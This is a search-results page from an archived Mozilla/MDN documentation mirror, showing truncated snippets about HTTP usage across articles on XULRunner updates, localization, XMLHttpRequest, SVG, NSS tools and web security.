getting started you will need the following utility scripts from http://lxr.mozilla.org/mozilla/sourc...ate-packaging/ (or local source of xulrunner) common.sh make_full_update.sh you will need mar / mar.exe to build a complete update patch.
... application settings you will need to configure the following settings in your application: branding the update process uses branding information, setup branding for your application as described here: xulrunner tips icons the updater process for linux systems requires updater.png to be in your <application folder>/icons/, see https://bugzilla.mozilla.org/show_bug.cgi?id=706846 preferences // whether or not app updates are enabled pref("app.update.enabled", true); // this preference turns on app.update.mode and allows automatic download and // install to take place.
...use what you need, %product%,%version%,%build_id%,%channel% for example pref("app.update.url", "https://yourserver.net/update/3/%product%/%version%/%build_id%/%build_target%/%locale%/%channel%/%os_version%/%distribution%/%distribution_version%/update.xml"); // url user can browse to manually if for some reason all update installation // attempts fail.
...And 4 more matches
Archived Mozilla and build documentation - Archive of obsolete content
chromeless [this project may not be active — check github https://github.com/mozilla/chromeless] creating a firefox sidebar extension this article describes how to create a registered sidebar for firefox 2 or greater.
...try dxr instead, or else try the gcc python plugin: https://fedorahosted.org/gcc-python-plugin/.
... http class overview this document provides an overview of the classes used by the mozilla http implementation.
...And 4 more matches
TCP/IP Security - Archive of obsolete content
this layer sends and receives data for particular applications, such as domain name system (dns), hypertext transfer protocol (http), and simple mail transfer protocol (smtp).
... the most common use for transport layer protocols is securing http traffic; the transport layer security (tls) protocol is usually used for this.
... more information on tls is available in rfc 4346, the tls protocol version 1.1, available at https://www.ietf.org/rfc/rfc4346.txt.
...And 4 more matches
Handling common JavaScript problems - Learn web development
see the code snippet in how to make an http request) so developers only have to write one simple bit of code (see jquery.ajax()).
...this is supposed to be fetched from an external .json file using the following xmlhttprequest call: let requesturl = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; let request = new xmlhttprequest(); request.open('get', requesturl); request.send(); let superheroes = request.response; populateheader(superheroes); showheroes(superheroes); but this fails.
...this settles it — our xmlhttprequest call is returning the json as text, not json.
...And 4 more matches
Bootstrapping a new locale
(see also https://developer.mozilla.org/en/create_a_new_localization) the documentation here is no longer being maintained and is inaccurate.
... l10n documentation has moved to https://mozilla-l10n.github.io/localizer-documentation/ .
... (you should "cd" to the directory before beginning.) in the terminal, type the following command: $ hg clone http://hg.mozilla.org/releases/mozilla-x.x.x/ where "x.x.x" is the existing release branch version.
...And 4 more matches
Localizing with Koala
url: http://hg.mozilla.org/releases/mozilla-1.9.2.
...koala will now try to clone the en-us source repository from http://hg.mozilla.org/releases/mozilla-1.9.2.
...the easy way involves opening the console and issuing the following commands: c:\users\stas> cd c:\mozilla\l10n\application\firefox c:\mozilla\l10n\application\firefox> rmdir 3.6 c:\mozilla\l10n\application\firefox> hg clone http://hg.mozilla.org/releases/mozilla-1.9.2 3.6 requesting all changes adding changesets adding manifests adding file changes added 33099 changesets with 158636 changes to 50664 files (+9 heads) updating working directory 40357 files updated, 0 files merged, 0 files removed, 0 files unresolved configure the locale locale id: x-testing (put your locale's code) version: 3.6 location: choose the folder where you wa...
...And 4 more matches
QA phase
preliminary instructions we will be using the following file directories for this example: your working directory (root)/ mozilla-aurora (en-us source, pulled from http://hg.mozilla.org/releases/mozilla-aurora )/ l10n-central (directory for l10n directories, one per l10n; often referred to as "l10n base")/ your-locale-code (a directory with your l10n files, in this example we'll use x-testing) example: root/mozilla-aurora & root/l10n-central/x-testing additionally, you will need to copy and translate the toolkit/defines.inc file directly from en-u...
...you can do this by entering the following url into your browser: http://hg.mozilla.org/l10n-central/x-testing now, navigate to your locale's directory on your local machine.
... enter the following command: $ hg log -l 1 you should see an output similar to the one below: changeset: 0:7c543e8f3a6a tag: tip user: your name <email@example.com> date: mon nov 23 18:08:25 2009 +0100 summary: added search bar strings now compare the local repository on your machine with the remote hg repository by entering this command: $ hg outgoing http://hg.mozilla.org/l10n-central/x-testing the hg outgoing command compares the two repositories and lists all changesets that are present locally, but not in the remote repository.
...And 4 more matches
Mozilla Web Services Security Model
for example, to determine what web sites can access a web service at http://www.example.com/dir1/dir2/service, mozilla would load the file http://www.example.com/web-scripts-access.xml, which may choose to delegate the decision to http://www.example.com/dir1/dir2/web...pts-access.xml.
... the webscriptaccess element its root element must be a webscriptaccess element in the http://www.mozilla.org/2002/soap/security namespace.
...for example, when accessing a web service at http://www.example.com/dir1/dir2/service, if the access file at http://www.example.com/web-scripts-access.xml contains a delegate element, mozilla will instead use http://www.example.com/dir1/dir2/web...ipt-access.xml to determine whether access is permitted.
...And 4 more matches
Redis Tips
if you have not, here is a fantastic on-line, interactive redis tutorial: http://try.redis.io/ for reference later on, you'll want the source of all things redis: https://redis.io you'll want to run a redis-server on your machine, and use the redis-cli at the command-line for hacking.
... node.js redis client: https://github.com/mranney/node_redis npm install redis python redis client: https://github.com/andymccurdy/redis-py there are some gotchas with the python api: https://github.com/andymccurdy/redis-py#api-reference select statement not implemented del is 'delete' in python zadd argument order is wrong setex argument order is wrong the default redis port is 6379.
... mutex locks in the case where you need a mutex, here's a recipe for using the atomic getset and setnx to orchestrate locking: https://redis.io/commands/setnx (scroll down).
...And 4 more matches
XML Extras
feature status feature status xmlserializer available xmlhttprequest available domparser (string and stream input source) available web services with soap and wsdl no longer available from gecko 1.9/firefox 3.
... qa and testing there are some online tests for mainly exercising the http get method via xmlhttprequest.
... for xmlhttprequest object you can mostly rely on the microsoft xmlhttprequest documentation, with some caveats: all functions and property names begin with a lower case letter and the object creation is different.
...And 4 more matches
nsILoginInfo
to create an instance, use: var logininfo = components.classes["@mozilla.org/login-manager/logininfo;1"] .createinstance(components.interfaces.nsilogininfo); method overview nsilogininfo clone(); boolean equals(in nsilogininfo alogininfo); void init(in astring ahostname, in astring aformsubmiturl, in astring ahttprealm, in astring ausername, in astring apassword, in astring ausernamefield, in astring apasswordfield); boolean matches(in nsilogininfo alogininfo, in boolean ignorepassword); attributes attribute type description formsubmiturl astring the origin, not url, a form-based login was submitted to.
... for logins obtained from html forms, this field is the action attribute from the form element, with the path removed (for example, "https://www.site.com").
... hostname astring the origin, not hostname, to which the login applies (for example, "https://www.site.com").
...And 4 more matches
nsIProtocolHandler
scheme acstring the scheme for this protocol ("file", "http", and so forth).
... constants constant value description uri_std 0 a standard full uri with authority component and understanding relative uris; this includes http and ftp, for example.
...web-safe protocols such as http should use this flag.
...And 4 more matches
nsIURL
inherits from: nsiuri last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) http://host/directory/filebasename.fileextension?query http://host/directory/filebasename.fileextension#ref http://host/directory/filebasename.fileextension;param \ \ / \ ----------------------- \ | / \ filename / ---------------------------- | filepath you can get a nsiurl from an nsiuri, using the queryinterface() method: var myuri = compone...
...nts.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice) .newuri("http://developer.mozilla.org", null, null); try { var myurl = myuri.queryinterface(components.interfaces.nsiurl); } catch(e) { // the uri is not an url } or using instanceof: if (myuri instanceof components.interfaces.nsiurl) { // your code here } method overview autf8string getcommonbasespec(in nsiuri auritocompare); autf8string getrelativespec(in nsiuri auritocompare); attributes attribute type description directory autf8string directory portion of a url.
... if the url denotes a path to a directory and not a file, for example http://host/foo/bar/, then the directory attribute accesses the complete /foo/bar/ portion, and the filename is the empty string.
...And 4 more matches
Zombie compartments
that more fine-graned representation may look like this │ ├───28.45 mb (05.71%) -- top(https://www.google.de/, id=141) │ │ ├──13.66 mb (02.74%) -- active/window(https://www.google.de/) │ │ │ ├───7.83 mb (01.57%) -- js-compartment(https://www.google.de/) │ │ │ │ ├──3.56 mb (00.71%) -- objects │ │ │ │ │ ├──3.04 mb (00.61%) ++ gc-heap │ │ │ │ │ ├──0.51 mb (00.10%) ++ malloc-heap │ │ │ ...
...00 mb (00.00%) ── gc-heap [2] │ │ │ └───5.83 mb (01.17%) -- (4 tiny) │ │ │ ├──4.19 mb (00.84%) ++ layout │ │ │ ├──1.03 mb (00.21%) ── style-sheets [2] │ │ │ ├──0.60 mb (00.12%) ++ dom │ │ │ └──0.01 mb (00.00%) ── property-tables [2] │ │ ├───8.86 mb (01.78%) -- cached/window(https://www.google.de/?gws_rd=ssl) │ │ │ ├──4.23 mb (00.85%) -- layout │ │ │ │ ├──3.80 mb (00.76%) ── style-sets │ │ │ │ ├──0.29 mb (00.06%) ── pres-shell │ │ │ │ ├──0.05 mb (00.01%) ── rule-nodes │ │ │ │ ├──0.04 mb (00.01%) ── style-contexts │ │ │ │ ├──0.03 mb (00.01%) ...
... │ │ │ │ ├──0.02 mb (00.00%) ── sundries │ │ │ │ │ └──0.01 mb (00.00%) ── nsblockframe │ │ │ │ ├──0.01 mb (00.00%) ── pres-contexts │ │ │ │ ├──0.01 mb (00.00%) ── line-boxes │ │ │ │ └──0.00 mb (00.00%) ── text-runs │ │ │ ├──3.78 mb (00.76%) ++ js-compartment(https://www.google.de/?gws_rd=ssl) │ │ │ ├──0.51 mb (00.10%) ── style-sheets │ │ │ ├──0.33 mb (00.07%) -- dom │ │ │ │ ├──0.17 mb (00.04%) ── text-nodes │ │ │ │ ├──0.13 mb (00.03%) ── element-nodes │ │ │ │ ├──0.02 mb (00.00%) ── other │ │ │ │ ├──0.01 mb (00.00%) ── orpha...
...And 4 more matches
Using FormData Objects - Web APIs
the formdata object lets you compile a set of key/value pairs to send using xmlhttprequest.
...var blob = new blob([content], { type: "text/xml"}); formdata.append("webmasterfile", blob); var request = new xmlhttprequest(); request.open("post", "http://foo.com/submitform.php"); request.send(formdata); note: the fields "userfile" and "webmasterfile" both contain a file.
... this example builds a formdata instance containing values for fields named "username", "accountnum", "userfile" and "webmasterfile", then uses the xmlhttprequest method send() to send the form's data.
...And 4 more matches
Microdata DOM API - Web APIs
code example this sample shows how the getitems() method can be used to obtain a list of all the top-level microdata items of a particular type given in the document: var cats = document.getitems("http://example.com/feline"); once an element representing an item has been obtained, its properties can be extracted using the properties idl attribute.
... code example this sample gets the first item of type "http://example.net/user" and then pops up an alert using the "name" property from that item.
... var user = document.getitems('http://example.net/user')[0]; alert('hello ' + user.properties['name'][0].itemvalue + '!'); the htmlpropertiescollection object, when indexed by name in this way, actually returns a propertynodelist object with all the matching properties.
...And 4 more matches
Web-based protocol handlers - Web APIs
background it's fairly common to find web pages link to resources using non-http protocols.
...for example: navigator.registerprotocolhandler("web+burger", "http://www.google.co.uk/?uri=%s", "burger handler"); where the parameters are: the protocol.
...for example, http://example.com/homepage.html can register a protocol handler for http://example.com/handle_mailto/%s, but not for http://example.org/handle_mailto/%s.
...And 4 more matches
:where() - CSS: Cascading Style Sheets
WebCSS:where
this <a href="https://mozilla.org">contains a link</a>.
...this <a href="https://developer.mozilla.org">also contains a link</a>.
... </aside> <footer class="is-styling"> <p>this is my footer, also containing <a href="https://github.com/mdn">a link</a>.
...And 4 more matches
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
WebHTMLElementaudio
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...in other words, it sends the origin: http header without a cookie, x.509 certificate, or performing http basic authentication.
... if the server does not give credentials to the origin site (by not setting the access-control-allow-origin: http header), the image will be tainted, and its usage restricted.
...And 4 more matches
<input type="url"> - HTML: Hypertext Markup Language
WebHTMLElementinputurl
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...submitting this form would cause the following data to be sent to the server: myurl=http%3a%2f%2fwww.example.com.
... here, we have a url input with the placeholder http://www.example.com.
...And 4 more matches
itemtype - HTML: Hypertext Markup Language
note: more about itemtype attributes can be found at http://schema.org/thing the itemtype attribute must have a value that is an unordered set of unique tokens which are case-sensitive, each is a valid and absolute url, and all defined to use the same vocabulary.
... simple example html <div itemscope itemtype="http://schema.org/product"> <span itemprop="brand">acme</span> <span itemprop="name">executive anvil</span> </div> structured data itemscope itemtype schema.org product itemprop name executive anvil itemprop brand [thing] itemprop name acme example html <div itemscope itemtype="http://schema.org/product"> <span itemprop="brand">...
...acme<br></span> <span itemprop="name">executive anvil<br></span> <img itemprop="image" src="https://udn.realityripple.com/samples/61/fa8ee62aba.png" width="50" height="50" alt="executive anvil logo" /><br> <span itemprop="description">sleeker than acme's classic anvil, the executive anvil is perfect for the business traveler looking for something to drop from a height.
...And 4 more matches
Authoring MathML - MathML
to use it, just insert one line in your document header: <script src="https://fred-wang.github.io/mathml.css/mspace.js"></script> if you need more complex constructions, you might instead consider using the heavier mathjax library as a mathml polyfill: <script src="https://fred-wang.github.io/mathjax.js/mpadded-min.js"></script> note that these two scripts perform feature detection of the mspace or mpadded elements (see the browser compatibility table on these pages)...
...there is also a similar script to display a warning at the top of the page for browsers without good mathml support and let the users choose between one of the fallback above: <script src="https://fred-wang.github.io/mathml-warning.js/mpadded-min.js"></script> if you don't want to use this link to github but instead to integrate these polyfills or others in your own project, you might need the detection scripts to verify the level of mathml support.
...for example, here is a minimal stylesheet to use latin modern for the text and latin modern math for the mathematics: @namespace url('http://www.w3.org/1999/xhtml'); @namespace m url('http://www.w3.org/1998/math/mathml'); body, m|mtext { font-family: latin modern; } m|math { font-family: latin modern math; } you can then use the @font-face rule as usual to provide woff fallback for latin modern and latin modern math.
...And 4 more matches
OpenSearch description format
<opensearchdescription xmlns="http://a9.com/-/spec/opensearch/1.1/" xmlns:moz="http://www.mozilla.org/2006/browser/search/"> <shortname>[snk]</shortname> <description>[search engine full name and summary]</description> <inputencoding>[utf-8]</inputencoding> <image width="16" height="16" type="image/x-icon">[https://example.com/favicon.ico]</image> <url type="text/html" template="[searchurl]"> <...
...param name="[key name]" value="{searchterms}"/> <!-- other params if you need them… --> <param name="[other key name]" value="[parameter value]"/> </url> <url type="application/x-suggestions+json" template="[suggestionurl]"/> <moz:searchform>[https://example.com/search]</moz:searchform> </opensearchdescription> shortname a short name for the search engine.
...(you can generate a data: uri from an icon file at the data: uri kitchen.) <image height="16" width="16" type="image/x-icon">https://example.com/favicon.ico</image> <!-- or --> <image height="16" width="16">data:image/x-icon;base64,aaabaaeaebaaa … daaa=</image> firefox caches the icon as a base64 data: uri (search plug-ins are stored in the profile's searchplugins/ folder).
...And 4 more matches
d - SVG: Scalable Vector Graphics
WebSVGAttributed
three elements have this attribute: <path>, <glyph>, and <missing-glyph> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path fill="none" stroke="red" d="m 10,30 a 20,20 0,0,1 50,30 a 20,20 0,0,1 90,30 q 90,60 50,90 q 10,60 10,30 z" /> </svg> path for <path>, d is a string containing a series of path commands that define the path to be drawn.
... formula: pn = {xo + dx, yo + dy} examples html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path fill="none" stroke="red" d="m 10,10 h 10 m 0,10 h 10 m 0,10 h 10 m 40,20 h 10 m 0,10 h 10 m 0,10 h 10 m 0,10 h 10 m 50,50 h 10 m-20,10 h 10 m-20,10 h 10 m-20,10 h 10" /> </svg> lineto path commands lineto instructions draw a straight line from the current point (po; {xo, yo}) to the ...
... formula: po′ = pn = {xo, yo + dy} examples html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- lineto commands with absolute coordinates --> <path fill="none" stroke="red" d="m 10,10 l 90,90 v 10 h 50" /> <!-- lineto commands with relative coordinates --> <path fill="none" stroke="red" d="m 110,10 l 80,80 v -80 h -40" /> </svg> cubic bézier curve cubic bézier curves...
...And 4 more matches
transform - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="-40 0 150 100" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <g fill="grey" transform="rotate(-10 50 100) translate(-36 45.5) skewx(40) scale(1 0.5)"> <path id="heart" d="m 10,30 a 20,20 0,0,1 50,30 a 20,20 0,0,1 90,30 q 90,60 50,90 q 10,60 10,30 z" /> </g> <use xlink:href="#heart" fill="none" stroke="red"/> </svg> note: as of svg2, transform is a presentation attribute, meaning it can be used as a css property.
... \begin{pmatrix} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{pmatrix} \begin{pmatrix} x_{\mathrm{prevcoordsys}} \\ y_{\mathrm{prevcoordsys}} \\ 1 \end{pmatrix} = \begin{pmatrix} a x_{\mathrm{prevcoordsys}} + c y_{\mathrm{prevcoordsys}} + e \\ b x_{\mathrm{prevcoordsys}} + d y_{\mathrm{prevcoordsys}} + f \\ 1 \end{pmatrix} example html,body,svg { height:100% } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="30" height="20" fill="green" /> <!-- in the following example we are applying the matrix: [a c e] [3 -1 30] [b d f] => [1 3 40] [0 0 1] [0 0 1] which transform the rectangle as such: top left corner: oldx=10 oldy=10 newx = a * oldx + c * oldy + e = 3 * 10 - 1 * 10 + 30 = 50 newy = b * oldx + d * oldy + f = 1 * 10 +...
... in other words: xnew = xold + <x> ynew = yold + <y> example html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- no translation --> <rect x="5" y="5" width="40" height="40" fill="green" /> <!-- horizontal translation --> <rect x="5" y="5" width="40" height="40" fill="blue" transform="translate(50)" /> <!-- vertical translation --> <rect x="5" y="5" width="40" height="40" fill="red" transform="translate(0 50)" /> <!-- both horizontal and vertical ...
...And 4 more matches
How to fix a website with blocked mixed content - Web security
your website may break if your website delivers https pages, all active mixed content delivered via http on this pages will be blocked by default.
...or use a free online crawler like ssl-check or missing padlock, a desktop crawler like httpschecker, or a cli tool like mcdetect to check your website recursively and find links to insecure content.
... how to fix your website the best strategy to avoid mixed content blocking is to serve all the content as https instead of http.
...And 4 more matches
Cross-domain Content Scripts - Archive of obsolete content
in particular, they can't: access content hosted in an iframe, if that content is served from a different domain make cross-domain xmlhttprequests however, you can enable these features for specific domains by adding them to your add-on's package.json under the "cross-domain-content" key, which itself lives under the "permissions" key: "permissions": { "cross-domain-content": ["http://example.org/", "http://example.com/"] } the domains listed must include the scheme and fully qualified domain name, and these must exactly match the domains serving the content - so in the example above, the content script will not be allowed to access content served from https://example.com/.
... //main.js var data = require("sdk/self").data; var pageworker = require("sdk/page-worker").page({ contenturl: data.url("page.html"), contentscriptfile: data.url("page-script.js") }); pageworker.on("message", function(message) { console.log(message); }); the "page.html" file embeds an iframe whose content is served from "http://en.m.wikipedia.org/": <!doctype html> <!-- page.html --> <html> <head></head> <body> <iframe id="wikipedia" src="http://en.m.wikipedia.org/"></iframe> </body> </html> the "page-script.js" file locates "today's featured article" and sends its content to "main.js": // page-script.js var iframe = window.document.getelementbyid("wikipedia"); var todaysf...
...eaturedarticle = iframe.contentwindow.document.getelementbyid("mp-tfa"); self.postmessage(todaysfeaturedarticle.textcontent); for this to work, we need to add the "cross-domain-content" key to "package.json": "permissions": { "cross-domain-content": ["http://en.m.wikipedia.org/"] } the add-on should successfully retrieve the iframe's content.
...And 3 more matches
Install Manifests - Archive of obsolete content
layout the basic layout of an install manifest is like so: <?xml version="1.0" encoding="utf-8"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <!-- properties --> </description> </rdf> some properties are required, some are optional.
... examples <em:homepageurl>https://www.example.com/</em:homepageurl> iconurl a chrome:// url to an icon to display in the add-ons list.
...</description> updatekey to ensure the security of update rdf data that is retrieved over plain http you must use a digital signature to verify the contents of the data.
...And 3 more matches
Promises - Archive of obsolete content
config.indexstats = processor.stats; yield os.file.writeatomic(configpath, json.stringify(config), { tmppath: configpath + "." + math.random(), encoding: "utf-8" }) timestamp = new date; }); http requests http requests should, in nearly all circumstances, be made via the standard xmlhttprequest api.
...moreover, many third-party wrappers for the xmlhttprequest api now support promises out of the box.
... let resp = yield new promise((resolve, reject) => { let xhr = new xmlhttprequest; xhr.onload = resolve; xhr.onerror = reject; xhr.open("get", dataurl); xhr.responsetype = "json"; xhr.send(); }); let data = resp.target.response; // use the response to construct form data object for the // second request.
...And 3 more matches
Using XPInstall to Install Plugins - Archive of obsolete content
often, the smartupdate download was triggered via the pluginurl attribute of the embed tag: <embed type="application/x-randomtype" src="myfile.typ" width="50" height="50" pluginurl="http://mytypecompany.xyz/jarpacks/mytypeplugin.jar"></embed> in the example above, the pluginurl attribute points to the signed jar file, which netscape communicator 4.x would then download (subject to the security dialog boxes) if the plugin was not located on the user's machine.
...here's an example of a hypothetical object tag used to invoke myplugin (an imaginary application): <object id="theplugin" type="application/x-myplugin" width="100" height="100" codebase="http://location/xpi/myplugin.xpi"> <param ....
...when serving xpi packages from servers to clients, make sure that xpi packages are served with this mime type in the http headers.
...And 3 more matches
Building accessible custom components in XUL - Archive of obsolete content
<code> @namespace url("http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"); grid.spreadsheet { border: thin solid; } grid.spreadsheet label { border-bottom: 1px solid black; border-left: 1px solid black; margin: 0; padding: 3px; } grid.spreadsheet description { color: black; background-color: white; margin: 0px; padding: 2px; border-left: thin solid; border-bottom: thin solid; font-fam...
...we will need to declare the namespace (xmlns:x2="http://www.w3.org/tr/xhtml2") so we can add an xhtml2:role attribute to each xul element.
...we will need to declare this namespace as well (xmlns:wairole="http://www.w3.org/2005/01/wai-rdf/guiroletaxonomy#"), and then use this namespace prefix (wairole:) as part of the role attribute value.
...And 3 more matches
Introduction to XUL - Archive of obsolete content
so a xul file will begin <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/xul.css" type="text/css"?> <!doctype window> <window xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> the html namespace is of course the standard one.
...this tie is defined within the xul: <xul:window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <broadcaster id="cangoback"/> <titledbutton src="resource:/res/toolbar/tb_back.gif" align="bottom" value="back" onclick="browserback()"> <observes element="cangoback" attribute="disabled"/> </titledbutton> </window> but it is up to the application code to locate the broadcasters within a window so it can punch them w...
... <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/xul.css" type="text/css"?> <!doctype window> <window id="main-window" xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <menubar> <menu label="file"> <menupopup> <menuitem label="hello world!" onclick="alert('hello world!\n');"/> </menupopup> </menu> </menubar> <html:iframe id="content-frame" src="contentframe.html" flex="100%"/> </window> the beginning of this example, dow...
...And 3 more matches
reftest opportunities files - Archive of obsolete content
tests from dbaron http://dbaron.org/css/test/cachetest http://dbaron.org/css/test/lenunit http://dbaron.org/css/test/implied http://dbaron.org/css/test/formelem http://dbaron.org/css/test/sec010303 http://dbaron.org/css/test/sec0302 http://dbaron.org/css/test/sec0302_xml http://dbaron.org/css/test/parsing http://dbaron.org/css/test/parsing2 http://dbaron.org/css/test/parsing4 http://dbaron.org/css/test/parsing5 http://...
...dbaron.org/css/test/parsing6 http://dbaron.org/css/test/sec040102 http://dbaron.org/css/test/casesens http://dbaron.org/css/test/xmltypesel http://dbaron.org/css/test/unitless http://dbaron.org/css/test/exunit http://dbaron.org/css/test/emunit http://dbaron.org/css/test/sec040310 http://dbaron.org/css/test/parsing3 http://dbaron.org/css/test/selector_confusion http://dbaron.org/css/test/univsel http://dbaron.org/css/test/childsel http://dbaron.org/css/test/sibsel http://dbaron.org/css/test/attrsel http://dbaron.org/css/test/twoclass http://dbaron.org/css/test/xmlid http://dbaron.org/css/test/pseudos http://dbaron.org/css/test/pseudos2 http://dbaron.org/css/test/pseudos3 http://dbaron.org/css/test/firstchild http://dbaron.org/css/test/sec051103 http://dbaron.org/css/test/sec051103b http://dbaro...
...n.org/css/test/order http://dbaron.org/css/test/inherit http://dbaron.org/css/test/sec060402 http://dbaron.org/css/test/sec060403b http://dbaron.org/css/test/specific http://dbaron.org/css/test/noncss1 http://dbaron.org/css/test/noncss2 http://dbaron.org/css/test/shortbox http://dbaron.org/css/test/shortbox2 http://dbaron.org/css/test/rootbox http://dbaron.org/css/test/listbox http://dbaron.org/css/test/margtest http://dbaron.org/css/test/shortborder http://dbaron.org/css/test/shortborder2 http://dbaron.org/css/test/sec0805 http://dbaron.org/css/test/dborder http://dbaron.org/css/test/sec090102 http://dbaron.org/css/test/sec090201 http://dbaron.org/css/test/sec090203 http://dbaron.org/css/test/sec090204 http://dbaron.org/css/test/sec090205 http://dbaron.org/css/test/sec090301 http://dbaron.org...
...And 3 more matches
NPN_GetAuthenticationInfo - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary the function is called by plugins to get http authentication information from the browser.
...realm, char **username, uint32_t *ulen, char **password, uint32_t *plen); parameters this function has the following parameters: instance pointer to the current plug-in instance protocol protocol name (uri scheme) host host name port port number scheme http authentication scheme name realm http authentication realm username out parameter.
... the browser passes back the http username.
...And 3 more matches
Syndicating content with RSS - Archive of obsolete content
when this is the case, the html web page can let people and machines know about the feed by using the <link> element, like this: <link rel="alternate" type="application/rss+xml" href="http://example.com/feed" /> adding the <a> while use of the html <link> element is powerful, it is mostly hidden.
... linking from the the html web page where the data in an rss feed is also contained makes the rss feed available for use: <a rel="alternate" type="application/rss+xml" href="http://example.com/feed">...</a> feed icons rss (and other) feeds use a special icon.
... the http protocol, one of the core technologies behind the web, provides a way of prioritizing the content type that an http client prefers to receive.
...And 3 more matches
Using workers in extensions - Archive of obsolete content
how this differs from previous versions this version of the stock ticker extension moves the xmlhttprequest call that fetches updated stock information into a worker thread, which then passes that information back to the main body of the extension's code to update the display in the status bar.
... this demonstrates not only how to use workers in an extension, but also how to perform xmlhttprequest in a worker, and how workers and main thread code can pass data back and forth.
... the worker the worker thread's job in this example is to issue the xmlhttprequest calls that fetch the updated stock information.
...And 3 more matches
How do you set up a local testing server? - Learn web development
in contrast, if you view one of our examples hosted on github (or an example on some other remote server), the web address will start with http:// or https://, to show that the file has been received via http.
... running a simple local http server to get around the problem of async requests, we need to test such examples by running them through a local web server.
... one of the easiest ways to do this for our purposes is to use python's simplehttpserver (or http.server, depending on the version of python installed.) to do this: install python.
...And 3 more matches
Making asynchronous programming easier with async and await - Learn web development
rewriting promise code with async/await let's look back at a simple fetch example that we saw in the previous article: fetch('coffee.jpg') .then(response => { if (!response.ok) { throw new error(`http error!
...child(image); }) .catch(e => { console.log('there has been a problem with your fetch operation: ' + e.message); }); by now, you should have a reasonable understanding of promises and how they work, but let's convert this to use async/await to see how much simpler it makes things: async function myfetch() { let response = await fetch('coffee.jpg'); if (!response.ok) { throw new error(`http error!
... since an async keyword turns a function into a promise, you could refactor your code to use a hybrid approach of promises and await, bringing the second half of the function out into a new block to make it more flexible: async function myfetch() { let response = await fetch('coffee.jpg'); if (!response.ok) { throw new error(`http error!
...And 3 more matches
Release phase
depending on which branch you work on, the url of your repository might look like this: http://hg.mozilla.org/releases/l10n-central/x-testing if you followed the koala or plain text approach, you probably already have a local clone of the repository.
...there are two different protocols you can use to connet with your mercurial repository: http and ssh.
...consequently, if you already have a local clone that you pulled using http, you'll need to modify a config file to tell mercurial to push through ssh.
...And 3 more matches
NSS 3.14.2 release notes
the release is available for download from https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_14_2_rtm/src/ for the primary nss documentation pages please visit /docs/nss new in nss 3.14.2 nss will now make use of the intel aes-ni and avx instruction sets for hardware-accelerated aes-gcm on 64-bit linux systems.
...if so, nss uses the optimized code path, reducing the cpu cycles per byte to 1/20 of what was required before the patch (https://bugzilla.mozilla.org/show_bug.cgi?id=805604 and https://crypto.stanford.edu/realworldcrypto/slides/gueron.pdf).
...(https://bugzilla.mozilla.org/show_bug.cgi?id=540986) sqlite has been updated to 3.7.15.
...And 3 more matches
NSS tools : certutil
for example, this how-to article covers how to configure firefox and thunderbird to use the new shared nss databases: * https://wiki.mozilla.org/nss_shared_db_howto for an engineering draft on the changes in the shared nss databases, see the nss project wiki: * https://wiki.mozilla.org/nss_shared_db see also pk12util (1) modutil (1) certutil has arguments or operations that use features defined in several ietf rfcs.
... * http://tools.ietf.org/html/rfc5280 * http://tools.ietf.org/html/rfc1113 * http://tools.ietf.org/html/rfc1485 the nss wiki has information on the new database design and how to configure applications to use it.
... * https://wiki.mozilla.org/nss_shared_db_howto * https://wiki.mozilla.org/nss_shared_db additional resources for information about nss and other tools related to nss (like jss), check out the nss project wiki at http://www.mozilla.org/projects/security/pki/nss/.
...And 3 more matches
NSS tools : crlutil
the most closely-related project is dogtag pki, with a project wiki at [1]http://pki.fedoraproject.org/wiki/.
... for information specifically about nss, the nss project wiki is located at [2]http://www.mozilla.org/projects/security/pki/nss/.
... if a copy of the mpl was not distributed with this file, you can obtain one at http://mozilla.org/mpl/2.0/.
...And 3 more matches
NSS tools : modutil
for example, this how-to article covers how to configure firefox and thunderbird to use the new shared nss databases: o https://wiki.mozilla.org/nss_shared_db_howto for an engineering draft on the changes in the shared nss databases, see the nss project wiki: o https://wiki.mozilla.org/nss_shared_db see also certutil (1) pk12util (1) signtool (1) the nss wiki has information on the new database design and how to configure applications to use it.
... o https://wiki.mozilla.org/nss_shared_db_howto o https://wiki.mozilla.org/nss_shared_db additional resources for information about nss and other tools related to nss (like jss), check out the nss project wiki at [2]http://www.mozilla.org/projects/security/pki/nss/.
... mailing lists: https://lists.mozilla.org/listinfo/dev-tech-crypto irc: freenode at #dogtag-pki authors the nss tools were written and maintained by developers with netscape, red hat, sun, oracle, mozilla, and google.
...And 3 more matches
Setting up an update server
for example, if you want the nightly mar from 2019-09-17 for a 64 bit windows machine, you probably want the mar located at https://archive.mozilla.org/pub/firefox/nightly/2019/09/2019-09-17-09-36-29-mozilla-central/firefox-71.0a1.en-us.win64.complete.mar.
